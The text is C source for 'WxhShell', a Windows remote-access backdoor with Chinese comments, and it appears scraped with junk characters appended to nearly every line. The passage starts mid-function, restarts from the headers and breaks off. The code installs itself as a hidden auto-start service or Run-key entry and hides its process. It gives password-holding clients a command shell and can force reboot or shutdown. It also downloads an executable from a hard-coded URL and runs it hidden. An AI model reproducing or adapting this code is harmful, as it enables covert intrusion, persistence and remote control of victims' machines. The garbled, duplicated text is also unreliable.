  // 关机 {zNFp#z  
  case 'd': { z5tOsU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (Ts#^qC  
    if(Boot(SHUTDOWN)) zn+5pn&?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl__3q  
    else { ;o#wK>pk%M  
    closesocket(wsh); .&Ik(792Z&  
    ExitThread(0); .\rJ|HpZ1J  
    } S\jIs[Dz  
    break; ^X\{MW'>4  
    } I d}@  
  // 获取shell E9N.b.Q)  
  case 's': { Au"7w=G`f  
    CmdShell(wsh); 9JtPP  
    closesocket(wsh); (~U1 X4  
    ExitThread(0); M[:},?ah0  
    break; [&MhAzF  
  } hLo'q^mGr  
  // 退出 B[IqLD'6  
  case 'x': { Z*Lv!6WS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h*lU&8)m\  
    CloseIt(wsh); .E/NlGm[  
    break; cedH#;V!j  
    } w8KVs\/  
  // 离开 [g Y.h/  
  case 'q': { )4O* D92  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b!l/O2 G  
    closesocket(wsh); -. J@  
    WSACleanup(); n38l!m(.  
    exit(1); X"fSM #  
    break; N*{>8iFo4  
        } q% pjY  
  } gZ 6Hj62D  
  } VGL!)1b  
l(A>Rw|  
  // 提示信息 @FLa i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ];U}'&  
} JQO%-=t  
  } 69C>oX  
-Izc-W  
  return; Xhk_h2F[  
} !fT3mI6u\  
_usi~m  
// shell模块句柄 <&87aDYz  
int CmdShell(SOCKET sock) r$/.x6g//  
{ R1j)0b6cQ%  
STARTUPINFO si; K[Ao_v2g  
ZeroMemory(&si,sizeof(si)); =>u9k:('9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ];7/DM#Np  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wPRs.(]_  
PROCESS_INFORMATION ProcessInfo; Zt{\<5j  
char cmdline[]="cmd"; )an,-EIX%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !<AY0fpY  
  return 0; g| M@/D l  
} ^hIKDc!.m  
4SGF8y@WU  
// 自身启动模式 t=6Wk4  
int StartFromService(void) K4|{[YpPB  
{ I/Q5Y-atg  
typedef struct RxrUnMF  
{ ?6>rQ6tBv  
  DWORD ExitStatus; jb {5   
  DWORD PebBaseAddress; <cx,Z5W  
  DWORD AffinityMask; EVE<LF?  
  DWORD BasePriority; Yv7`5b{N.  
  ULONG UniqueProcessId; B>{\qj)%  
  ULONG InheritedFromUniqueProcessId; lk. ;  
}   PROCESS_BASIC_INFORMATION; L |pJ\~  
GTBT0$9 g.  
PROCNTQSIP NtQueryInformationProcess; @"$rR+r'  
WC ZDS>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B9Z=`c.T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /`YbHYNF[  
u*C"d1v=  
  HANDLE             hProcess; }y P98N5o  
  PROCESS_BASIC_INFORMATION pbi; 0Q= o"@  
"RG #e +  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #{L !o5  
  if(NULL == hInst ) return 0; j"Vb8}  
e)x;3r"j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i<]Y0_?s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 76M`{m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i[M]d`<36  
kFi^P~3D[  
  if (!NtQueryInformationProcess) return 0; J&jNONu?  
my(yN|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9b}AZ]$  
  if(!hProcess) return 0; xB&6f")  
TR([u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JHCV7$RS  
lS:R##  
  CloseHandle(hProcess); B>TI dQ  
. 7EZB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &ivPY  
if(hProcess==NULL) return 0; }bxx]rDl  
oL 69w1  
HMODULE hMod; bAl0z)p  
char procName[255];  GP/G v  
unsigned long cbNeeded; ;zl/  
av*M #  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R.+yVO2  
{<_9QAS  
  CloseHandle(hProcess); T2$V5RyX  
bk#t+tuk  
if(strstr(procName,"services")) return 1; // 以服务启动 ~jqh&u$(  
>X(,(mKi  
  return 0; // 注册表启动 EjYCOb-  
} <(%cb.^c=N  
8(Y=MW;g  
// 主模块 U2(|/M+  
int StartWxhshell(LPSTR lpCmdLine) .+"SDt oX  
{ `xO&!DN  
  SOCKET wsl; G3G"SJ np  
BOOL val=TRUE; VC6S4FU4K  
  int port=0; g}hR q%  
  struct sockaddr_in door; h""a#n)q}`  
}Pj3O~z  
  if(wscfg.ws_autoins) Install(); XU}sbbwu  
$]05?JY#  
port=atoi(lpCmdLine); oV c l (  
>iCkvQ  
if(port<=0) port=wscfg.ws_port; ]v^;]0vcr  
\q8D7/q  
  WSADATA data; t*? CD.S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?q%)8 E  
srN>pO8u~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3-Q*umh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;5P>R[p  
  door.sin_family = AF_INET; FH'jP`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !0g+}  
  door.sin_port = htons(port); !S/hH%C  
l_!.yV{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s'V8PN+-  
closesocket(wsl); ^;2dZgJ4^  
return 1; COw]1 R  
} )y7SkH|  
qO<'_7TN[  
  if(listen(wsl,2) == INVALID_SOCKET) { @5%cP  
closesocket(wsl); GRC=G&G  
return 1; ,uD>.->  
} >8 V;:(nt  
  Wxhshell(wsl); gev7eGH<  
  WSACleanup(); n ?%3=~9  
E5lC'@Dcz  
return 0; |n;gGR\  
BEM+FG  
} NA`3   
%>uGzQ61  
// 以NT服务方式启动 WT!8.M;Kv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rG"}CX`]:  
{ i&^?p|eKa  
DWORD   status = 0; 1;ulqO  
  DWORD   specificError = 0xfffffff; `5`Pv'`  
:&dY1.<N+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @T1/S&F=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Nh41o0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d8g3hyI5\  
  serviceStatus.dwWin32ExitCode     = 0; V9"Kro  
  serviceStatus.dwServiceSpecificExitCode = 0; BNg\;2r  
  serviceStatus.dwCheckPoint       = 0; Ifu$p]~z$  
  serviceStatus.dwWaitHint       = 0; p;) ;Vm+8  
g~%=[1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |rf\]3 F  
  if (hServiceStatusHandle==0) return;  'TV^0D"  
C%v@ u$N  
status = GetLastError(); B|%=<1?  
  if (status!=NO_ERROR) V0L^pDLOV  
{ ,u( g#T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (@M=W.M#  
    serviceStatus.dwCheckPoint       = 0; H(]lqvO  
    serviceStatus.dwWaitHint       = 0; bE^Z;q19  
    serviceStatus.dwWin32ExitCode     = status; Ydmz!CEu  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7(~^6Ql!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZzI^*Nyg  
    return; )G ,LG0"-  
  } XFmnZpqXH  
(H+'sf^h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V:!fe+ Er  
  serviceStatus.dwCheckPoint       = 0; .gT@_.ZD9  
  serviceStatus.dwWaitHint       = 0; HqOSQ<-Fo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Du&KZ  
} G`mC=*M a;  
%dL|i2+*8  
// 处理NT服务事件,比如:启动、停止 NEZF q?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "6pjkEt4  
{ oLX6w  
switch(fdwControl) ET _}x7  
{ I|9e4EX{y  
case SERVICE_CONTROL_STOP: KfWVz*DC!  
  serviceStatus.dwWin32ExitCode = 0; Z#>k:v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %)l2dK&9"j  
  serviceStatus.dwCheckPoint   = 0; wC=IN   
  serviceStatus.dwWaitHint     = 0; v1 oSf  
  { f*5=,$0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); orzdq  
  } kf-ZE$S4  
  return; N4fuV?E`  
case SERVICE_CONTROL_PAUSE: |EU}&k2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %F&j B  
  break; f 21w`Uk48  
case SERVICE_CONTROL_CONTINUE: _E'M(.B<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ej%C<0/%n  
  break; c q3C N@  
case SERVICE_CONTROL_INTERROGATE: s o~p+]  
  break; yo (&~r  
}; W11_MTIU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tMyD^jVC  
}  & .(ZO]  
S~Q7>oNm  
// 标准应用程序主函数 ~ xf9 ml  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \=yg@K?"AJ  
{ L1rov  
>%[(C*Cks  
// 获取操作系统版本 ?m?e2{]u,  
OsIsNt=GetOsVer(); _FdWV?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "_#%W oo  
&nz1[,  
  // 从命令行安装 },i?3dSvl  
  if(strpbrk(lpCmdLine,"iI")) Install(); G|^gaj'9  
m"x~Fjvd  
  // 下载执行文件 -BoN}xE4  
if(wscfg.ws_downexe) { Iv/yIS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?LNwr[C0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4F:RLj9P!  
} C|!E' 8Rw  
89 fT?tT  
if(!OsIsNt) { y/i"o-}}~|  
// 如果时win9x,隐藏进程并且设置为注册表启动 {5%<@<? )  
HideProc(); *$l8H[  
StartWxhshell(lpCmdLine); cPS!%?}I  
} j6v +S  
else -OkKLub  
  if(StartFromService()) >nr1|2  
  // 以服务方式启动 n.A  
  StartServiceCtrlDispatcher(DispatchTable); KqtI^qC8  
else n$=n:$`q  
  // 普通方式启动 wk5a &  
  StartWxhshell(lpCmdLine); l0@$]76cX;  
ekAGzu  
return 0; 5 !NPqka}.  
} sPZa|AKHb  
^WD [>E~  
7rr5$,Mv  
)?TJ{'m  
=========================================== }'X}!_9w>  
O:Z|fDQ`  
F%Mlid;1  
d+^4 ;Hv4  
[R Ch7FE23  
P)}:lTe  
" j?8E >tM  
`o*eLLk  
#include <stdio.h> "thu@~aC  
#include <string.h> }h]:I'R!  
#include <windows.h> =o HJ_  
#include <winsock2.h> <]!IC]+  
#include <winsvc.h> Hv IN'  
#include <urlmon.h> W&yw5rt**  
O42An$}  
#pragma comment (lib, "Ws2_32.lib") Q;^([39DI  
#pragma comment (lib, "urlmon.lib") j1d=$'a "  
TZ*ib~  
#define MAX_USER   100 // 最大客户端连接数 eVlI:yqppj  
#define BUF_SOCK   200 // sock buffer >:Oo[{)  
#define KEY_BUFF   255 // 输入 buffer ca`=dwe>  
@a3<fmJ  
#define REBOOT     0   // 重启 dZYS5_wr  
#define SHUTDOWN   1   // 关机 P$oa6`%l  
; 6zu!  
#define DEF_PORT   5000 // 监听端口 p1D-Q7F  
=kCpCpET  
#define REG_LEN     16   // 注册表键长度 J7maG|S(DF  
#define SVC_LEN     80   // NT服务名长度 zzx4;C",u  
Y/hay[6  
// 从dll定义API Y{S/A*X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3&zmy'b*:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [n^___7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q{a!D0;4v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #&/*ll)  
v0y7N_U5n  
// wxhshell配置信息 IaJ(T>" +  
struct WSCFG { Zsuh8t   
  int ws_port;         // 监听端口 iVl"H@m/  
  char ws_passstr[REG_LEN]; // 口令 W"0#  
  int ws_autoins;       // 安装标记, 1=yes 0=no un\^Wmbw  
  char ws_regname[REG_LEN]; // 注册表键名 <)&ykcB  
  char ws_svcname[REG_LEN]; // 服务名 {.2C>p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yQW\0&a$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `=>Bop)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DUtpd|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xv ja  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %DN& K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^aC[Z P:  
1ERz:\  
}; N,O[pTwj  
~9n@MPS^!  
// default Wxhshell configuration C$hsR&  
struct WSCFG wscfg={DEF_PORT, Ry(!< w,  
    "xuhuanlingzhe", vS0P] AUo  
    1, AD5tuY  
    "Wxhshell", [sad}@R7  
    "Wxhshell", H Ow][}M_w  
            "WxhShell Service", m&x0,8  
    "Wrsky Windows CmdShell Service", 2D!'7ZD  
    "Please Input Your Password: ", \i&yR]LF  
  1, a2i   
  "http://www.wrsky.com/wxhshell.exe", ALG #)$|  
  "Wxhshell.exe" }cP 3i  
    }; Gq{v)iN  
E*ic9Za8`h  
// 消息定义模块 qle\c[UM5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @fY!@xSf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wS5hXTb"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I?PKc'b  
char *msg_ws_ext="\n\rExit."; z#\Z|OKU  
char *msg_ws_end="\n\rQuit."; F3qi$3HM  
char *msg_ws_boot="\n\rReboot..."; XI0O^[/n{  
char *msg_ws_poff="\n\rShutdown..."; s4Wk2*7 Mq  
char *msg_ws_down="\n\rSave to "; 1{~9:U Q  
ve.4""\a  
char *msg_ws_err="\n\rErr!"; hsl8@=_ B  
char *msg_ws_ok="\n\rOK!"; V^0*S=N  
b2 ),J  
char ExeFile[MAX_PATH]; -r,J>2`l  
int nUser = 0; "qF&%&#r'  
HANDLE handles[MAX_USER]; v-l):TL+=  
int OsIsNt; A>PM'$"sT  
&o8\ $A  
SERVICE_STATUS       serviceStatus; \Lc pl-;?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'UB<;6wy  
bH= 5[  
// 函数声明 c_" .+Fa  
int Install(void); Zj}, VB*T  
int Uninstall(void); J#D!J8KP7  
int DownloadFile(char *sURL, SOCKET wsh); U,]z)1#X|  
int Boot(int flag); :;JJvYIs  
void HideProc(void); auO^v;s  
int GetOsVer(void); 5!5P\o  
int Wxhshell(SOCKET wsl); *</;:?  
void TalkWithClient(void *cs); # v v k7  
int CmdShell(SOCKET sock); $EtZ5?qS  
int StartFromService(void); TX*P*-'  
int StartWxhshell(LPSTR lpCmdLine); } FFW,x  
YY.;J3C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O" z=+79q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eLt6Hg)s`9  
r3KV.##u,  
// 数据结构和表定义 u?aq' "t  
SERVICE_TABLE_ENTRY DispatchTable[] = bg$e80  
{ U %KoG-#  
{wscfg.ws_svcname, NTServiceMain}, hTy#Q.=  
{NULL, NULL} e0hT  
}; bG5c~  
PL VF  
// 自我安装 }X AoMp  
int Install(void) #!5GGe{I  
{ iBc( @EJ  
  char svExeFile[MAX_PATH]; \F<]l6E  
  HKEY key; !867DX3*  
  strcpy(svExeFile,ExeFile); c s hZR(b  
}b+=,Sc"  
// 如果是win9x系统,修改注册表设为自启动 M"P$hb'F  
if(!OsIsNt) { =,(Ba'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8HWY]:| oh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TM"i9a? ;  
  RegCloseKey(key); 5v?6J#]2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n,fUoS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K7y}R%Q F  
  RegCloseKey(key); #_H=pNWe  
  return 0; H{+U; 6b  
    } i1scoxX3\  
  } b^%4_[uRu  
} =si<OB  
else { %u!#f<"[  
45_zO#  
// 如果是NT以上系统,安装为系统服务 .&L#%C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n[{o~VN  
if (schSCManager!=0) NW~n+uk5v  
{ 6)H70VPJ  
  SC_HANDLE schService = CreateService  m>a6,#I  
  ( 2sf/^XC1  
  schSCManager, } #$Y^ +UN  
  wscfg.ws_svcname, 8_ju.h[  
  wscfg.ws_svcdisp, QPGssQR6  
  SERVICE_ALL_ACCESS, IoA"e@~t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AU)Qk$c  
  SERVICE_AUTO_START, (?~F}u v  
  SERVICE_ERROR_NORMAL, /TpM#hkq/2  
  svExeFile, ZL-@2ZU{1  
  NULL, =:#$_qR  
  NULL, w \85D|u  
  NULL, g*8sh  
  NULL, h NP|  
  NULL RMsr7M4<91  
  ); koaH31Q  
  if (schService!=0) 5vY1 XZt{  
  { %*LdacjZ  
  CloseServiceHandle(schService); G;, 2cu K  
  CloseServiceHandle(schSCManager); qk<tLvD_'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vrz<DB^-e  
  strcat(svExeFile,wscfg.ws_svcname); II),m8G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^@jOS{f l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^2Op?J  
  RegCloseKey(key); B<6*Ktc  
  return 0; 377$c;4 F  
    } h/PWi<R i  
  } lQ)ZsFs=  
  CloseServiceHandle(schSCManager); utRvE(IbmV  
} '0w'||#1  
} Pbz-I3+66  
g_.BJ>Uv  
return 1; 3wa }p^   
} u9'4q<>&  
AnIENJ  
// 自我卸载 X%39cXM C  
int Uninstall(void) [|uAfp5R  
{ !*EHr09N7  
  HKEY key; O8n\>pkI  
%vyjn&13  
if(!OsIsNt) { 5AQ $xm4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1<pbO:r  
  RegDeleteValue(key,wscfg.ws_regname); 7?B]X%  
  RegCloseKey(key); fv#e 8y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4B!]%Mw;c  
  RegDeleteValue(key,wscfg.ws_regname); L,Uqt,  
  RegCloseKey(key); f+J<sk  
  return 0; 8vc4J5  
  } tUL(1:-C  
} p4|:u[:&  
} ld`oIEj!P_  
else { hDzKB))<w  
yD5T'np<4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rzY7f: '  
if (schSCManager!=0) Vh4z+JOC  
{ a)[tkjU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0M-Zp[w\-  
  if (schService!=0) D)f hk!<  
  { lv,8NmP5  
  if(DeleteService(schService)!=0) { ^MDBJ0 I.  
  CloseServiceHandle(schService); <-X)<k  
  CloseServiceHandle(schSCManager); ]%F3 xzOk  
  return 0; Kx$?IxZ  
  } dt^yEapjM  
  CloseServiceHandle(schService); ATH0n>)  
  } cfa#a!Y4  
  CloseServiceHandle(schSCManager); k h#|`E#,  
} 9:4P7  
} x1?p+  
?Tt/,Hl?D  
return 1; /V-7u  
} Wvm f[!V;  
2u/(Q>#  
// 从指定url下载文件 ]={:VsnL  
int DownloadFile(char *sURL, SOCKET wsh) 4?1Ac7bE  
{ C5 ^_R  
  HRESULT hr; s XRiUDP`  
char seps[]= "/"; 9e1gjC\c  
char *token; ] QtGgWtC  
char *file; bG;vl; C  
char myURL[MAX_PATH]; l*xA5ObV  
char myFILE[MAX_PATH]; $Y)|&,  
Xq+7l5LP  
strcpy(myURL,sURL); Z9 }qds6 y  
  token=strtok(myURL,seps); _N0x&9S$  
  while(token!=NULL) q$~S?X5\  
  { Fu!:8Wp!(  
    file=token; $A8eMJEpL  
  token=strtok(NULL,seps); )"=BbMfhu  
  } r]" >  
(a@cK,  
GetCurrentDirectory(MAX_PATH,myFILE); }DY^a'wJ-  
strcat(myFILE, "\\"); boJQ3Xc  
strcat(myFILE, file); qS+'#Sn  
  send(wsh,myFILE,strlen(myFILE),0); SQWA{f  
send(wsh,"...",3,0); :.DCRs$Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cf2rRH  
  if(hr==S_OK) YtxBkKiJ2V  
return 0; Z;SRW92@  
else UFC.!t-Z  
return 1; : :e=6i  
V]`V3cy1+3  
} !V7VM_}@Y  
^7~=+0cF]  
// 系统电源模块 mJ !}!~:  
int Boot(int flag) A\.k['!  
{ .@/5Ln  
  HANDLE hToken; kSoAnJ|  
  TOKEN_PRIVILEGES tkp; N y7VIh|  
%t:1)]2  
  if(OsIsNt) { pjrVPi5&t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x.>z2.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K;gm^  
    tkp.PrivilegeCount = 1; L)HuQVc g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LHR%dt|M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wC..LdSR  
if(flag==REBOOT) { 12;" K?7{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dcYUw]  
  return 0; 4,wdIdSm4  
} (gs"2  
else { gP^'4>Jr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >x (^g~i  
  return 0; mzfj!0zR*  
} Q3_ia 5 `O  
  } {- 7T\mj  
  else { FzFY2h;n]B  
if(flag==REBOOT) { gXc&uR0S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xBR2tDi%  
  return 0; v=iz*2+X  
} O#CxS/M5  
else { (E\7Ui0 Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +twJHf_U  
  return 0; '?wv::t  
} 2gg5:9  
} -QI1>7sl  
71w  
return 1; /XtxgO\T.  
} b6R0za  
.#lQZo6$\|  
// win9x进程隐藏模块 x]Nq|XK  
void HideProc(void) ^h4Q2Mv o  
{ *.ZV.(  
8.'%wOU @A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /'!F \ kz  
  if ( hKernel != NULL ) 9Z6O{ >  
  {  Z:u7`%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AIN_.=]"?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~^KemwogPN  
    FreeLibrary(hKernel); /8 Ca8Ju  
  } `SFI\Y+WDT  
&yp_wW-  
return; y [.0L!C {  
} q J@XVN4   
"<txg%j\J  
// 获取操作系统版本 _N.ZpKVu  
int GetOsVer(void) hXmW,+1  
{ rnEWTk7&  
  OSVERSIONINFO winfo; L+9a4/q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U3 ED3) D  
  GetVersionEx(&winfo); UXR$7<D+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pV:X_M6  
  return 1; M)i2)]F S  
  else +wS?Z5%mU  
  return 0; ,d&~#W]  
} RVlC8uJ;P  
MJ4+|riB  
// 客户端句柄模块 oypX.nye_  
int Wxhshell(SOCKET wsl) ft?J|AG  
{ `+Wl fk;  
  SOCKET wsh; . p<*n6E  
  struct sockaddr_in client; jbMzcn~ehI  
  DWORD myID; pn {Nk1Pl  
6]CY[qEaR$  
  while(nUser<MAX_USER) +*lSB%`aS  
{ WSWaq\9]8  
  int nSize=sizeof(client); *^}(LoPZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xBl}=M?Qu  
  if(wsh==INVALID_SOCKET) return 1; m7~kRY514  
]@C&Q,~q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v>;6pcp[F  
if(handles[nUser]==0) $:{uF#  
  closesocket(wsh); J XbG|L  
else )zz"DH  
  nUser++; Jd7+~isu~  
  } NIQNzq?a^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bTb|@  
8! pfy"  
  return 0; nH/V2> Lm  
} 1vx:`2 A4  
=Pd3SC})6V  
// 关闭 socket |J?KHI  
void CloseIt(SOCKET wsh) cK1r9ED|  
{ vRVQ:fw  
closesocket(wsh); H+;>>|+:~  
nUser--; #q6jE  
ExitThread(0); _ ?xORzO  
} ?R#-gvX%  
R*'rg-d  
// 客户端请求句柄 !%_}Rv!JT  
void TalkWithClient(void *cs) Ip|~j} }  
{ sJw#^l  
CM!bD\5  
  SOCKET wsh=(SOCKET)cs; ~%bz2Pd%  
  char pwd[SVC_LEN]; gY=nU,;  
  char cmd[KEY_BUFF]; 3.xsCcmP  
char chr[1]; qVx4 t"%L>  
int i,j; rMdOE&5G  
tF O27z@  
  while (nUser < MAX_USER) { wHEt;rc(  
![0\m2~iv  
if(wscfg.ws_passstr) { OLXG0@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,1a6u3f,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K\,)9:`t  
  //ZeroMemory(pwd,KEY_BUFF); dE%rQE7'  
      i=0; ?WKFDL'_0j  
  while(i<SVC_LEN) { L^Fni~  
=j#uH`jgW  
  // 设置超时 UQ}[2x(Kb  
  fd_set FdRead; eYOwdTrq  
  struct timeval TimeOut; +j%!RS$ko  
  FD_ZERO(&FdRead); K_G( J>  
  FD_SET(wsh,&FdRead); e)zE*9  
  TimeOut.tv_sec=8; ?<%GY dus  
  TimeOut.tv_usec=0; 3ktjMVy\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MRV4D<NQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L 1H!o!*  
:54ik,l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LkK%DY  
  pwd=chr[0]; O@ F0UM`!  
  if(chr[0]==0xd || chr[0]==0xa) { }i^]uW*h  
  pwd=0; B8:G1r5G/  
  break; gp`$/ci  
  } ~a^mLnY@  
  i++; YNRpIhb  
    } f(6`5/C  
/q^)thJ~  
  // 如果是非法用户,关闭 socket $BXZFC_1S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qRZv[T%*Q  
} !D!~4h)  
wqkD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZUyG }6)J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V|13%aE_v  
idPx! fe  
while(1) { A,Wwt [Qw  
;6KcX\g-  
  ZeroMemory(cmd,KEY_BUFF); "v@Y[QI  
lm i,P-Q  
      // 自动支持客户端 telnet标准    z"Miy  
  j=0; ~:'tp28?  
  while(j<KEY_BUFF) { 1hp`.!3]H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?#YheML?  
  cmd[j]=chr[0]; >E;kM B  
  if(chr[0]==0xa || chr[0]==0xd) {  Tvqq#;I  
  cmd[j]=0; WYSqnmi  
  break; BiT #bg  
  } @.0>gmY;:  
  j++;  Fku~'30  
    } eyUguA<lK\  
N?hQ53#3  
  // 下载文件 *?x$q/a  
  if(strstr(cmd,"http://")) { zl^ %x1G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &kUEnwQ -  
  if(DownloadFile(cmd,wsh)) duFVh8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =PYfk6j9  
  else = .a}  
